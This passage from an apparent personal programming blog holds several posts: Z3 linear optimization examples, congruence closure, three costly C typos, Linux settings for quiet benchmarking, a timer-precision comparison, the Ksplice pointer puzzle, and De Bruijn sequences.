...     0.15 * F <= A_F,
...     0 <= C_F,
...     # maximum amount of licor for whisky F
...     A_F <= F,
...     C_F <= 0.8 * F,
...
...     # the same for whisky G
...     0 <= C_G,
...     C_G <= 0.5 * G
... )

>>> s.add(
...     A_E + B_E + C_E == E,
...     A_F + B_F + C_F == F,
...     A_G + B_G + C_G == G
... )

Profit!

>>> costs = A * 700 + B * 500 + C * 400
>>> income = E * 680 + F * 570 + G * 450
>>> profit = s.maximize(income - costs)

>>> s.check()
sat

>>> profit.value()
3590000/9

>>> m = s.model()
>>> print("Licor:", "A =", m[A], "B =", m[B], "C =", m[C])
Licor: A = 2000 B = 2500 C = 1200

>>> # We use m[.] to retrieve simple variables
>>> print("Whisky:", "E =", m[E], "F =", m[F], "G =", m[G])
Whisky: E = 22900/9 F = 28400/9 G = 0

>>> # We use m.eval() to evaluate complex expressions in the model context
>>> print("Costs =", m.eval(costs), "Income =", m.eval(income), "Profit =", profit.value())
Costs = 3130000 Income = 31760000/9 Profit = 3590000/9

Optimum Packaging of Chocolate

2021-04-27T00:00:00+00:00

A small business sells two types of chocolate packs: A and B.

The pack A has 300 grams of bittersweet chocolate, 500 grams of chocolate with walnuts and 200 grams of white chocolate.

The pack B has 400 grams of bittersweet chocolate, 200 grams of chocolate with walnuts and 400 grams of white chocolate.

The pack A has a price of 120$ while the pack B has a price of 90$.

Let’s assume that this small business has for today 100 kilograms of bittersweet chocolate, 120 kilograms of chocolate with walnuts and 100 kilograms of while chocolate.

How many packs of A and B type should be packed to maximize the profits?

Of variables and restrictions

First, we set up a solver that not only will say if a set of restrictions are satisfiable or not but it will also give us an instance (model) that maximizes a given objective function.

>>> from z3 import Reals, Optimize
>>> s = Optimize()

Let start defining be the following variables that represent how many packs of each type we need to make:

>>> a_cnt, b_cnt = Reals('a_cnt b_cnt')

Then, we have the variables that represent how much chocolate we use of each flavor:

>>> bittersweet, with_walnuts, white = Reals('bittersweet with_walnuts white')

So now we can relate the amount of A and B packs with the amount of chocolate of each flavor:

>>> s.add(
...     300 * a_cnt + 400 * b_cnt == bittersweet,
...     500 * a_cnt + 200 * b_cnt == with_walnuts,
...     200 * a_cnt + 400 * b_cnt == white
... )

But the amount of chocolate is limited:

>>> s.add(
...     bittersweet <= 100*1000,
...     with_walnuts <= 120*1000,
...     white <= 100*1000
... )

And technically, the amount of packs has also a lower bound

>>> s.add(
...     a_cnt >= 0,
...     b_cnt >= 0,
...     bittersweet >= 0,
...     with_walnuts >= 0,
...     white >= 0
... )

⊕ In Python a <= b <= c is a valid expression but in Z3 it is not and you need to define two separated statements a <= b and b <= c.

The objective

And finally, this is the linear function that we want to maximize:

>>> objective = s.maximize(120 * a_cnt + 90 * b_cnt)
>>> s.check()
sat

>>> objective.value()
33000

So the optimal income will be 33000$ and the amount of packs and chocolate is:

>>> s.model()
[b_cnt = 100,
 a_cnt = 200,
 white = 80000,
 with_walnuts = 120000,
 bittersweet = 100000]

As expected the optimal solution is when we use most of the chocolate.

Slack

The only one that had some slack was white chocolate. Having a limit of 100 kilograms, the optimal solution required 80 kilograms with 20 kilograms without use.

We can let Z3 to calculate that for use redefining the inequalities by introducing slack variables and making them equalities:

>>> bittersweet_slack, with_walnuts_slack, white_slack = Reals('bittersweet_slack with_walnuts_slack white_slack')
>>> s.add(
...     bittersweet_slack >= 0,
...     with_walnuts_slack >= 0,
...     white_slack >= 0,
...     bittersweet + bittersweet_slack == 100*1000,
...     with_walnuts + with_walnuts_slack == 120*1000,
...     white + white_slack == 100*1000
... )

>>> s.check()
sat

>>> s.model()
[b_cnt = 100,
 a_cnt = 200,
 white_slack = 20000,
 with_walnuts_slack = 0,
 bittersweet_slack = 0,
 white = 80000,
 with_walnuts = 120000,
 bittersweet = 100000]

Assumptions

⊕ Precise values; linear, proportional and additivity relations; and variables in $\mathbb{R}$

When we say “the pack A has 300 grams of bittersweet chocolate” we are incurring in a huge assumption: that the number 300 is a real and precise thing.

In the real world is hard or even impossible to operate with precise quantities. Think that the manufacturing process has some inefficiencies, the balance/scale used to measure has not infinite precision and things like that.

We also said without much thinking that inputs and outputs are proportional: if the outcome of selling 1 pack A is 120$, selling 10 packs we should earn 1200$.

We said that we wanted to maximize 120 * a_cnt + 90 * b_cnt. Under the hood we are also making the assumption that we can sell packs A and packs B independently and then add them together.

This and the proportional assumptions are required for linear programming.

A cleaver reader may noticed that I used Z3’s Reals for creating the variables a_cnt and b_cnt. It is obviously wrong because the amount of packs is an integer and not a real number.

We’ve got an integer solution of a_cnt = 200 and b_cnt = 100 but this was pure luck.

But the same objection can be done for the amount of chocolate: absurd tiny amounts like 0.0001 grams of chocolate makes no sense.

We assumed that all the variables here have the divisibility property: they can be modeled as real numbers – that’s why call it real linear programming in opposition to the integer linear programming.

The former can be solved in polinomial time. while the latter is NP-complete.

Z3 uses the Simplex algorithm that has exponential time in the worst case but polinomial time in the practice. Other solvers can do it better and it had been proved that when we use real numbers the algorithm has polinomial time, like the ones based on the interior-point method.

Congruence Closure with Z3

2021-04-25T00:00:00+00:00

Assume that you know that $a = b$, $b = c$ and $d = e$. What can you tell me about the claim $a = c$ ? Is it true or false?

Equivalence class

The $=$ denotes an equivalence between two elements: $a = b$ means that $a$ is equivalent to $b$ (not necessary that they are the same element or equals however).

So, because we know $a = b$ and $b = c$ we conclude that $a = c$ and therefore the claim is true.

You see, in general $a = X$ is true iff $X$ is $a$, $b$, or $c$.

$a$, $b$ y $c$ are equivalent between themselves: they form an equivalence class.

The initial set $T: \{a, b, c, d, e\}$ has two equivalence classes: $C_1: \{a, b, c\}$ and $C_2: \{d, e\}$

Set operations

We say that the set $E$ of equivalence rules induced a partition over $T$ yielding, in this case, the two equivalence classes of above.

And the point of all of this is…?

Pick any claim $X = Y$, it will be true if and only if both elements are part of the same equivalence class.

And checking membership can be implemented easily and efficiently. No matter how many elements $T$ has, once you built the equivalence classes (sets), checking a claim $X = Y$ requires two membership tests.

Moreover, seen $C_1$ and $C_2$ as sets, adding a new equivalence rule the has elements of both sets like $c = d$ merges $C_1$ and $C_2$ into a single set: $C$ is the union of $C_1$ and $C_2$.

Congruence rule

Let’s ask ourselves if the claim $f(a) = f(c)$ is true or not where $f$ is an arbitrary function.

There is rule that says if $X$ and $Y$ belongs to the same equivalence class then $f(X)$ and $f(Y)$ must both belong to the same equivalence class (but not necessary to the same class of $X$ and $Y$).

Intuitively, if $X = Y$ then $f(X)$ can be replaced by $f(Y)$.

In general, if $X_1, Y_1 \in C_1$, $X_2, Y_2 \in C_2$, and so on up to $X_n, Y_n \in C_n$, then $f(X_1, X_2, ..., X_n)$ must be equivalent to $f(Y_1, Y_2, ..., Y_n)$.

The equivalence class and the congruence rule form a congruence closure.

Playing with Z3

>>> from z3 import DeclareSort, Function, Consts, solve

>>> T = DeclareSort('T')
>>> a, b, c, d, e = Consts('a b c d e', T)

>>> f = Function('f', T, T)
>>> g = Function('g', T, T, T)

>>> E = [a == b, b == c, d == e]

>>> solve(E + [a != c])  # a != c is a contradiction of a == c
no solution

>>> solve(E + [a != d])  # they are in different equivalence classes, so ok
[c = T!val!0,
 e = T!val!1,
 d = T!val!1,
 a = T!val!0,
 b = T!val!0]

>>> solve(E + [f(a) != f(c)]) # another contradiction
no solution

>>> solve(E + [g(a, f(d)) != g(c, f(e))]) # more interesting example...
no solution

>>> # And if we force that the last equivalence, we will get a single
>>> # equivalence class with the elements valued to 'T!val!0'
>>> solve(E + [g(a, f(d)) == g(c, f(e))])
[e = T!val!0,
 d = T!val!0,
 c = T!val!0,
 a = T!val!0,
 b = T!val!0]

Deadly Typos 2020

2021-04-24T00:00:00+00:00

A quick summary of the top 3 typos that I found (or I wrote) in code that they were small but they had a deep impact on the functionality.

In fact, the three bugs could summarized as follows:

a missing u.
an extra s.
and a missing *.

Do you want to see what is this about?

Deep sleep

void may_sleep(uint64_t elapsed_inactivity) {
    if (elapsed_inactivity < MIN_INACTIVITY_FOR_SHORT_SLEEP)
        return;
    else if (elapsed_inactivity < MIN_INACTIVITY_FOR_LONG_SLEEP)
        usleep(SLEEP_DUE_INACTIVITY_FOR_SHORT_TIME_USECS);
    else
        sleep(SLEEP_DUE_INACTIVITY_FOR_LONG_TIME_USECS);
}

Issue? A missing u.

Impact? The code calls sleep instead of usleep and sleeps for, let says, 10000 seconds instead of 10000 microseconds.

The may_sleep was intended to put to sleep the CPU for a small period if there was not activity for some time.

If a task is received while the CPU is sleeping, the worst case would be a delay of 10000 microseconds (10 milliseconds) before the task begins to be processed.

With 10000 seconds, well, that’s almost 3 hours.

Only one

struct row_t *rows = matrix->rows;
for (int i = 0; i < matrix->row_count; ++i) {
    struct row_t *row = rows[i];
    for (int j = 0; j < row->column_count; ++j) {
        struct column_t *column = rows->columns[j];
        process(column);
    }
}

Issue? An extra s.

Impact? The nested loops process every item of a 2d matrix, scanning in the for each row, for each column classic order.

For simplicity the i-th row is loaded in the outer loop with a local row pointer.

Unfortunately the inner loop uses rows instead of row so the inner loop always processes the same columns of the first row. The local variable row is used only for knowing the column count hence the compiler does not warn use about an unused variable.

This lead to resources without proper initialization and memory corruptions all because the was an extra s.

Less is worse

void one_round(int *ports, uint32_t *start, struct msg_t **msg) {
    *msg = NULL; // not found

    uint32_t ix = *start;
    for (uint32_t i = 0; i < PORT_CNT; ++i) {
       read(ports[(ix + i) % PORT_CNT], msg);
       if (msg)
          break;
    }

    *start = ix+1;
}

void scan(int *ports) {
    *msg = NULL; // not found

    uint32_t start = 0;

    while (!should_exit()) {
        one_round(ports, &start, msg);
        if (*msg) {
            process(msg);
        } else {
            sleep(1); // no msg, sleep
        }
    }
}

Issue? A missing *

The one_round function read from N ports doing a round robin starting from *start. Each round may be interrupted if a message is found and a call to process is made.

If a full round is made without reading a message, scan takes a little nap assuming that it is not under a heavy workload.

But one_round is wrong. It checks for if (msg) instead of if (*msg). The former is always true returning earlier with a message probably empty.

scan checks for if (*msg) and if it is NULL it will believe that the subfunction did a full round and it didn’t find a message.

Under a heavy workload on all the ports, this typo was unnoticed because *msg was always not-NULL.

But when a single port was with less data, even if the rest of the ports were super-busy, scan did a sleep(1) impacting negatively in the performance. Less work made the things worse!

Quiescent Environment

2021-03-07T00:00:00+00:00

You are working in optimizing a piece of software to reduce the CPU cycles that it takes.

To compare your improvements, it is reasonable to measure the elapsed time before and after your change.

Unless you are using a simulator, it is impossible to run a program isolated from the rest and your measurements will be noisy.

If you want to take precise measurements you need a quiescent environment as much as possible.

An incomplete cheatsheet

For the impatient, let’s do a quick cheatsheet. A more detailed checklist follows after.

Let’s assume that you want to make the CPUs 2 to 5 very quiet.

Add the following kernel options:

intel_pstate=disabled amd_pstate=disabled cpufreq_disable=1 nosmt nohz_full=2-5 isolcpus=2-5 rcu_nocbs=2-5

You may add also systemd.unit=multi-user.target to those.

With the kernel booted, configure it even further:

echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo
echo 0 > /sys/devices/system/cpu/cpufreq/boost

for X in {2..5}; do
    echo "performance" | sudo tee /sys/devices/system/cpu/cpu$X/cpufreq/scaling_governor
done

An detailed but still-incomplete checklist

This checklist goes for the different settings to make one ore more CPUs as much as isolated as possible from anything else so their performance is more detereminisc.

Real isolation is impossible as there are a lot of things shared. Making the whole system as quiet as possible helps to reduce the noise.

Isolate the machine:

Use a bare metal machine or VMs if not possible. Try to avoid container environments.
Unplug the network cable or reduce by some mean the traffic (from outside the machine)

Kernel setup (boot options + sysfs)

Hyperthreading / Symmetric Multithreading
- Docs: rhel-smt
- Kernel options: nosmt

Intel Turbo Boost / Overclocking.

Docs: how-to

Sysfs files:

echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo
echo 0 > /sys/devices/system/cpu/cpufreq/boost

Dynamic Voltage & Frequency Scaling
- Docs: how-to, archlinux, kernel doc
- Kernel options: intel_pstate=disabled amd_pstate=disabled cpufreq_disable=1
- Sysfs files:
```
echo "performance" | sudo tee /sys/devices/system/cpu/cpu$X/cpufreq/scaling_governor
```
Isolate one or more CPUs so you run your programs there without much interruptions from other tasks, including the kernel itself.
- Docs: (kernel)
- Kernel options: isolcpus=CPUs (removes the CPUs from the scheduler) rcu_nocbs=CPUs (don’t use these to do rcu callbacks) nohz_full=CPUs (similar)
- Alternative you may user a cgroup from userspace with (cset) but the kernel options should be much better.
Disable the GUI:
- Kernel options: systemd.unit=multi-user.target (for systemd systems), text (it did’t work for me)

Fuhrer reading:

User space’s services

Disable all the services that you can. With isolated CPUs no code should run on them but that doesn’t mean that they are really isolated.

The CPUs will share the cache so a busy CPU may interfere with cache misses on an isolated one.

Some docs:

Instrumentation guidelines

No point to have a quiescent environment if the instrumentation in the experiment is inherently noisy.

Some guidelines:

static low-overhead instrumentation if possible, dynamic if you can’t recompile.
prefer deterministic (like counting the elapsed time) over sampling, specially for small-fast function targets; sometimes sampling is the only way however.
use a high precision clock.
perhaps a causal profiler (coz). See post and video.

About the binary under test:

code alignment can be mostly controlled by the compiler, but it may add delays due the increasing of the binary. See post.
if you cannot control it, randomize it: you will add noise but it will be random noise and not biased noise that is much worst. Stabilizer (may be)

The experiment setup

automate the setup of the machine as much as possible
automate the experiment execution so it can be reproduced again in the future.
run several executions and track the minimum value (if applies); if possible, try to run several different benchmark programs that use your target function.
use different test suites and benchmarks (google’s).
use thread’s CPU affinity to assign the threads to each (isolated) CPU
- use taskset or
- use sched_setaffinity or pthread_setaffinity_np

Sources of noise in the environment

There are a lot.

Other processes running, the OS scheduler making your program to yield the CPU, the OS interrupting to process a more urgent task (like interruptions) and more.

Graphical interfaces, network traffic and disk usage add to the mix.

The elapsed time of foo() executed 1000 times and sorted from the smallest value to the largest. The last 10 values were drop (not shown); numbers are in nanoseconds. On the left the experiment was done in a machine without any modification; on the right all the services were turned off, the CPU were isolated and the IRQ where disabled. Note not only how smaller values are obtained in the right environment (less noisy) but also the dispersion of the numbers is smaller: on the left the time goes from 0.765 to 0.8 ns (range of 0.035 ns) while on the right the time goes from 0.7635 to 0.7665 ns (range of 0.003 ns). One order of magnitude.

But software is not the only source of noise.

The CPU may decide to slowdown to conserve energy/reduce the power consumption. This is called Dynamic Voltage & Frequency Scaling (DVFS)

On the other hand, the CPU may speedup and run faster if it see that other CPUs are idle (basically the energy/power not used by the idle CPUs is used by the busy CPU increasing the frequency). This is called Dynamic Overclocking or in Intel parlance, Turbo Boost

Multitenancy: illusion of power

Is you hardware fully dedicated to you and your programs?

In these days you need to take into account the virtualization: how your OS interacts with the hypervisor (if you are running in a VM like in AWS) and how many other VMs are running in the same bare metal, competing for it.

And VMs are not the only ones that add overheads. If you are in container like if you are using docker, you have the same issue.

This is called multitenancy.

A similar illusion of power can come from the hardware. Intel’s Hyperthreading technology allows a CPU (a core) to run two threads concurrently.

While having each thread it own set of registers in the CPU, the hardware is not duplicated (you don’t have two cores).

Instead, hardware units like the ALU is shared among the hyper threads. While the OS may show a CPU with 2 hyperthreads as 2 different cores, the performance is only 15%-30% compared to a non-hyperthreaded CPU.

This is another form of multitenancy, a hardware-based multitenancy if you want.

Noise of the measurement

If you use a dynamic instrumentation like Valgrind, the code will slowdown by a factor in range from 5 to 100.

A static instrumentation is faster but requires recompilation: you may need to add code by hand or let the compiler to do it.

And it is not trivial. Consider the following code:

void experiment() {
    setup();

    uint64_t begin = now();
    foo();
    uint64_t end = now();

    tear_down();
    printf("Elapsed %lu\n", end-begin);
}

’If foo() is inlined, the compiler / CPU may decide to execute some instructions from foo() before taking the begin mark (or after the end mark).

Even if foo() is not inline, code before the begin may be executed after it (and the same for the end mark).

⊕ I wrote a few posts about this: a lock free queue part 1, part 2.

Welcome to the out of order execution world.

You could use barriers but these are not cheap.

Precision of the measurement

Getting the time is not cost-free. Even the most precise clocks like clock_gettime adds some delay.

If instrumenting the binary (statically or dynamically) is too invasive, sampling is another option like linux’s perf (see more.

You just ask what function is a program running a few times per second and count how many times a particular function was seen.

More times a function was seen, more expensive should be because it was found more times in the CPU.

But it is tricky. What if the function is called a lot of times? That would increase the probability of find it in the CPU too and it is not necessary related with its performance.

And if you want to see the performance of a very small-quick function, how many times do you need to sample the CPU until find the function there? Unlikely, short events are mostly invisible for sampling tools.

This is the trade-off between deterministic and sampling profilers.

Unknown variables

This is perhaps the most subtle topic.

You have the first version of foo(), let’s name it foo_1(). By some mean you measure its performance in the most precise way and you obtained X.

How do you know that X is real and not the product from an unknown source of noise?

You don’t and you can probably assume that X is, in some part, contributed by unknown sources of noise.

Assuming additive noise you can approximate the real value X measuring foo_1() several times and getting the minimum.

Now that you “know” the performance of foo_1() you want to improve it.

You have foo_2(), you measure it several times, get the minimum and obtain the approximated value of Y.

If you find X > Y you may get happy: you improved foo(), didn’t you?

The fact that the improvement may not due your modification to foo() but due the fact you did any modification.

Changing the code changes how the code is loaded in the memory.

A simple refactor moving two functions closer in the same file may result in a better performance.

Consider the following two versions of the same .c file:

// version A            // version B
void foo() {            void foo() {
   // code...              // code...
   bar()                   bar()
}                       }

void zaz() {            void bar() {
   // code...              // code...
}                       }

void bar() {            void zaz() {
   // code...              // code...
}                       }

Version B may be faster than A just because bar() was moved closer to foo() and the code of bar() gets into the cache at the moment that foo() does the call.

Code layout, code alignment, data alignment, and who knows what else may change.

And trust me, Producing Wrong Data Without Doing Anything Obviously Wrong! is very common and almost unavoidable.

High Precision Timers (userspace)

2021-02-27T00:00:00+00:00

You want to measure the time that it takes foo() to run so you do the following:

void experiment() {
    uint64_t begin = now();
    foo();
    uint64_t end = now();

    printf("Elapsed: %lu\n", end - begin);
}

The question is, what now() function you would use?

⊕ You could read a CPU register that implements the clock in hardware. Beware, however, that the read may not be cheap and the clock may not have the precision that you need.

Also, the register may be per CPU: to make it work you need to ensure that experiment() does not migrate to another CPU.

See libpfm4.

There are some options available:

time() from time.h
gettimeofday() from sys/time.h
getrusage() from sys/time.h and sys/resource.h
clock_gettime() from time.h

However not all of them are as suitable for the task as they may seem.

Test escenario

The idea is to call a particular clock several times in a tight loop.

const size_t rounds = atoi(argv[1]);
struct timespec * const times1 = malloc(sizeof(*times1) * rounds);

for (int i = 0; i < rounds; ++i) {
    clock_gettime(CLOCK_MONOTONIC, &times1[i]);
}
print_nsec_resolution(rounds, "mono", times1);

⊕ If the clock jumps backwards, this function will print a huge number and not a negative value.

The print_* functions will print the measurements normalized: no matter the clock’s resolution, the printed value will be in nanoseconds and to get comparable results the values are respect the first measurement.

In other words:

uint64_t ref = times1[0].tv_sec * 1000000000; // seconds as nanoseconds
ref += times1[0].tv_nsec; // plus the nanoseconds

for (int i = 0; i < rounds; ++i) {
    uint64_t tmp = times1[i].tv_sec * 1000000000;
    tmp += times1[i].tv_nsec;

    printf("%s %lu\n", category, tmp-ref);
}

The full code can be found here.

Evaluation

Compiled and executed with 10000 rounds each clock, it generated 70000 lines.

⊕ The use of dtype={"clock type": "category"} is important. Pandas will load these strings and it will create a category for each distinct label that internally is represented as an integer.

This reduces by two orders of magnitud the memory usage (d.memory_usage(True, True) to compare them). Pandas reference

Each line is prefixed with a string that labels the clock type.

The output can be loaded with pandas as follows:

>>> import pandas as pd
>>> d = pd.read_csv(
...         fname,
...         sep=' ',
...         header=None,
...         names=['clock type', 'tval'],
...         dtype={'clock type': 'category'})

It makes sense to analyze not the time returned by each call but the difference between two consecutive calls. This highlights how much stable is the clock and how much delay adds the call.

>>> for c in d['clock type'].cat.categories:
...     selected_rows = d['clock type'] == c
...     differences = d[selected_rows]['tval'].diff()
...     d.loc[selected_rows, 'tval'] = differences

The full code can be found here.

Let’s review what we’ve got.

`time()`

time() has a resolution of a second, so it is a no-go to measure things of the order of the microsecond or less.

But for completeness I tested time() anyways and what I found it was a surprise:

Clock type: time
         tval
count  9999.0
mean      0.0
std       0.0
min       0.0
25%       0.0
50%       0.0
75%       0.0
max       0.0

If I run time() in tight for loop, it returns always the same value, no matter how many times the loop iterates.

I thought that it was a bug but nope, when I run it with gdb it works as expected.

Weird.

`gettimeofday()`

⊕ This can be explained due its implementation: instead of doing a syscall, a call to gettimeofday() calls a snippet of code in user space.

See more about vsyscall and vDSO here

gettimeofday() shown the best performance: the worst time measured between two consecutive calls is just 2 microseconds, which it is twice the minimum resolution of the function.

Fast but it is also super imprecise.

More than 75% of the differences between two consecutive measurements are zero that means that gettimeofday() returns a cached value and it is updated very infrequently.

clock type: tofd
              tval
count  9999.000000
mean     27.102710
std     166.646544
min       0.000000
25%       0.000000
50%       0.000000
75%       0.000000
max    2000.000000

In addition to its intrinsic imprecision, gettimeofday() is not guaranteed to be monotonically increasing. So you can see jumps to the future or event to the past.

This is because gettimeofday() is in sync with external sources of time like NTP. The user may even change it running date.

Fast but not useful to measure differences of time.

`getrusage()`

Something similar happens with getrusage(): it is slightly slower than gettimeofday() but it is still super fast (7 microseconds) but returns cached values (at least half of the times).

Clock type: ruse
              tval
count  9999.000000
mean    524.152415
std     656.260508
min       0.000000
25%       0.000000
50%       0.000000
75%    1000.000000
max    7000.000000

`clock_gettime()`

⊕ See also the PEP 418.

The manpage describes four kind of clocks that may work:

CLOCK_MONOTONIC: monotonic time but it may be affected by incremental changes done by adjtime or NTP.
CLOCK_MONOTONIC_RAW: like CLOCK_MONOTONIC but it is not affected by adjtime or NTP. Uses hardware-specific.
CLOCK_PROCESS_CPUTIME_ID: per process clock that measures the CPU time for the process (among all the threads).
CLOCK_THREAD_CPUTIME_ID: per thread clock that measures the CPU time for that particular thread.

clock_gettime() is the only that returned values that make sense and CLOCK_MONOTONIC is the winner.

It has the smallest elapsed time (80 nanoseconds) and it has a dispersion of the values of few nanoseconds.

This can be seen in the percentiles 80, 84, 85, 86 nanoseconds.

CLOCK_PROCESS_CPUTIME_ID and CLOCK_THREAD_CPUTIME_ID are in the second place.

         MONOTONIC    MONOTONIC_RAW   PROCESS_CPUTIME    THREAD_CPUTIME
              tval             tval              tval              tval
count  9999.000000      9999.000000       9999.000000       9999.000000
mean    102.900290       773.215422        387.565257        379.232923
std     295.741321       200.428225        216.037233        210.391130
min      80.000000       709.000000        366.000000        358.000000
25%      84.000000       719.000000        374.000000        367.000000
50%      85.000000       723.000000        377.000000        370.000000
75%      86.000000       728.000000        401.000000        391.000000
max    8019.000000     13532.000000      17392.000000      17572.000000

In all the cases the clocks are quite stable and the outliers are probably due noise in the system.

Conclusions

clock_gettime() with CLOCK_MONOTONIC is the winner, at least in my 4.19 kernel, with a minimum delta of 80 to 86 nanoseconds.

In second place clock_gettime() with CLOCK_PROCESS_CPUTIME_ID or CLOCK_THREAD_CPUTIME_ID. Good performance, roughly 4 or 5 times slower than CLOCK_MONOTONIC.

clock_gettime() with CLOCK_MONOTONIC_RAW is not bad but it is at least 8 times slower than CLOCK_MONOTONIC.

The rest of the clocks are not useful.

Ksplice-Pointer-Challenge

2021-02-18T00:00:00+00:00

What does the following code?

#include <stdio.h>
int main() {
  int x[5];
  printf("%p\n", x);
  printf("%p\n", x+1);
  printf("%p\n", &x);
  printf("%p\n", &x+1);
  return 0;
}

This problem was posted in 2011.

Apparently t born in the context of the developing of ksplice, a project made by the students of the MIT to patch the Linux kernel in runtime without needing to boot.

The challenge is just about printing 4 things.

Despite being so simple in comparison with what ksplice does, the challenge may had a few surprises for you.

The analysis

We reserve 5 ints in the stack:

?: #include <stdio.h>
?: int x[5];

⊕ The examples that are you seeing are executed by real in a machine and compared by real with expected values below the example.

Because I cannot hardcode an address (because they are not deterministic) I’m going to capture the address with the <array-addr> tag and use it later for comparison.

The magic behind this is byexample.

We then print the address of the array:

?: printf("%p\n", x);
<array-addr>

The address of the array is the address of the first element. In a more verbose but perhaps more explicit notation:

⊕ byexample will paste the previously captured text replacing the <array-addr> in the snippet.

Remember this is the number printed by the previous printf. Because it is an integer the compiler will warn us due the comparison of a pointer (left side) and a number (right side).

The (int*) cast is to tell the compiler “it is okay to compare”.

?: (&x[0] == (int*) <array-addr>)        // byexample: +paste
(bool) true

Array increments (and decrements) are in terms of the size of the element.

In our case, the array element is int:

?: printf("%p\n", x+1);
<array-plus-1-addr>

?: (<array-addr> + sizeof(int) == <array-plus-1-addr>)     // byexample: +paste
(bool) true

So that means also that x+1 is the same than &x[1].

?: (&x[1] == (int*) <array-plus-1-addr>)     // byexample: +paste
(bool) true

The philosofical question begins with &x: what is the address of the address of an array?

Well the fact it is the address itself, a kind of self-referencing notation:

?: printf("%p\n", &x);
<ampersand-array-addr>

?: (<array-addr> == <ampersand-array-addr>)      // byexample: +paste
(bool) true

Now the &x+1 requires understand the operator precedence.

The address-of operator has more precedence than the addition operator so we should interprete the expression as (&x)+1.

?: (&x+1 == (&x)+1)      // byexample: +paste
(bool) true

This is when the thing gets weird.

An address is not just a number, it carries information of the type: x is an int[5] array so &x points to an int[5] array.

⊕ My initial thought was (&x) is an address so +1 adds 1 to the address. I was so wrong.

It is a pointer so the addition is in terms of the size of the element pointer to: not sizeof(int) but sizeof(int[5])!.

?: printf("%p\n", &x+1);
<ampersand-array-plus-1-addr>

?: (<ampersand-array-addr> + sizeof(int[5]) == <ampersand-array-plus-1-addr>)      // byexample: +paste
(bool) true

For completeness, &(x+1) is the address of the second element’s address. An address of an address makes no sense:

?: printf("%p\n", &(x+1));
<...>cannot take the address of an rvalue of type 'int *'<...>

Final score

#include <stdio.h>
int main() {
  int x[5];
  printf("%p\n", x);        // Good
  printf("%p\n", x+1);      // Good
  printf("%p\n", &x);       // Good
  printf("%p\n", &x+1);     // EPIC FAIL
  return 0;
}

Honestly, &x+1 took me by surprise.

Bonus track

cdecl, a tool to compose and decode C/C++ type declarations.

$ cdecl declare 'signal as function (arg1,arg2) returning pointer to function returning void'   # byexample:  +if=cdecl-installed
void (*signal(arg1, arg2))()

$ cdecl explain 'char *(*fptab[])()'   # byexample:  +if=cdecl-installed
declare fptab as array of pointer to function returning pointer to char

Necklaces, Lyndon words and De Bruijn Sequences

2021-02-15T00:00:00+00:00

What have in common a dense arrays for mapping numbers power of 2 to some objects, DNA sequencing and brute-forcing the lock pad of your neighbor?

Substrings

Given an alphabet of $k$ symbols, you can build strings of length $n$ from it.

For a binary alphabet ${0,1}$ these are the strings of length 4:

    0000    0100    1000    1100
    0001    0101    1001    1101
    0010    0110    1010    1110
    0011    0111    1011    1111

A set of elements like the strings above can be classified: choose a relationship among the elements and build a class where all the elements of the class have the same relation.

Mathematically, each class is defined as

$$ C = { x \in X \vert a \sim x }$$

Where $a$ is one element of the set $X$ that is used as a reference.

For example, we can classify the binary strings in two classes: the ones that have its last bit equal to 0 and the ones which don’t.

In other words: the even and the odd numbers.

    0000    0100    |    0001    0101
    0010    0110    |    0011    0111
    1000    1100    |    1001    1101
    1010    1110    |    1011    1111

In mathematics jargon, each class is an equivalence class and the relation used to group them is an equivalence relation.

Necklaces

The relation $x \sim a$ is quite arbitrary; another relation could be the strings of length 4 that are a rotation of another string.

This generates 6 classes:

    0000  |  0001  |  0011  |  0101  |  0111  |  1111
          |  0010  |  0110  |  1010  |  1101  |
          |  0100  |  1100  |        |  1011  |
          |  1000  |  1001  |        |  1110  |

Each equivalence class generated from strings of length $n$ from an alphabet of $k$ elements which equivalence relation is the rotation has the special names of necklaces.

The above 6 classes are 6 necklaces for $k=2$ and $n=4$.

Aperiodic necklaces

As you notice how many elements a necklace has varies. The necklace generated from all the rotations of 0000 has only one element: {0000}; while the necklace generated from 0001 has 4 elements: {0001, 0010, 0100 and 1000}.

These are two extremes. A middle point is the necklace {0101, 1010}.

You see, if you pick a string and you start rotating it you may find yourself with the same initial string before doing a complete wrap-around.

Pick 0101, rotate it once and you get 1010, and once more and you get the original 0101.

If you do the same with 0001 you will find that you need to perform 4 rotations to get the initial string.

An aperiodic sequence respect the rotation are the strings of length $n$ that you need to perform exactly $n$ rotations to get the initial strings.

Therefore the necklace that contains them has exactly $n$ elements and it is known as aperiodic necklace.

⊕ You may find multiple substrings that repeated form the same string. For example 01010101 can be formed repeating 0101 twice or 01 four times.

The fact is that 0101 is in turn periodic. The substring that it is aperiodic is called the aperiodic reduction of the original string.

In our case, 01 is the aperiodic reduction of 0101 and of 01010101.

In contrast, a periodic sequence is a string that is the repetition of a substring that repeats so less rotations are required to get the initial string and therefore the necklace has less than $n$ elements.

The 0101 is formed by the substring 01 repeated twice.

The analysis of the periodicity of the 6 necklaces follows with the substrings between parenthesis:

    (0)   |    aperiodic   |  (01)  |  aperiodic |  (1)
    0000  |  0001  |  0011 |  0101  |    0111    |  1111
          |  0010  |  0110 |  1010  |    1101    |
          |  0100  |  1100 |        |    1011    |
          |  1000  |  1001 |        |    1110    |

Lyndon words

We focus now in only the aperiodic necklaces:

    0001  |  0011  |  0111
    0010  |  0110  |  1101
    0100  |  1100  |  1011
    1000  |  1001  |  1110

If the alphabet supports a total order, more specifically a lexicographic order, we can sort the elements of each necklace.

Basically we get $0001 < 0010 < 0100 < 1000$.

For each aperiodic necklace we keep only the smallest:

    0001  |  0011  |  0111

These strings define the Lyndon words of length $n$ for the alphabet ${0,1}$ ($k=2$).

More generally the Lyndon words are the smallest strings of the aperiodic necklaces for all the strings of any length $n$ for an alphabet of $k$ elements.

    0, 1, 01, 001, 011, 0001, 0011, 0111, 00001, 00011, 00101, ...

De Bruijn sequence

Choose a natural number $n$. Select the Lyndon words that have a length that divides $n$.

For the binary alphabet {0,1}, and choosing $n=4$ we have the following set of strings of length 1, 2 and 4:

    0, 1, 01, 0001, 0011, 0111

Sorted lexicographically:

    0, 0001, 0011, 01, 0111, 1

If we concatenate them we obtain a De Bruijn sequence

    0000100110101111

A De Bruijn sequence of order $n$ has the property than all the substrings of length $n$ that are possible are contained in the De Bruijn sequence if is seen as a cyclic sequence:

    0000100110101111
    0000............
    .0001...........
    ..0010..........
    ...0100.........
    ....1001........
    .....0011.......
    ......0110......
    .......1101.....
    ........1010....
    .........0101...
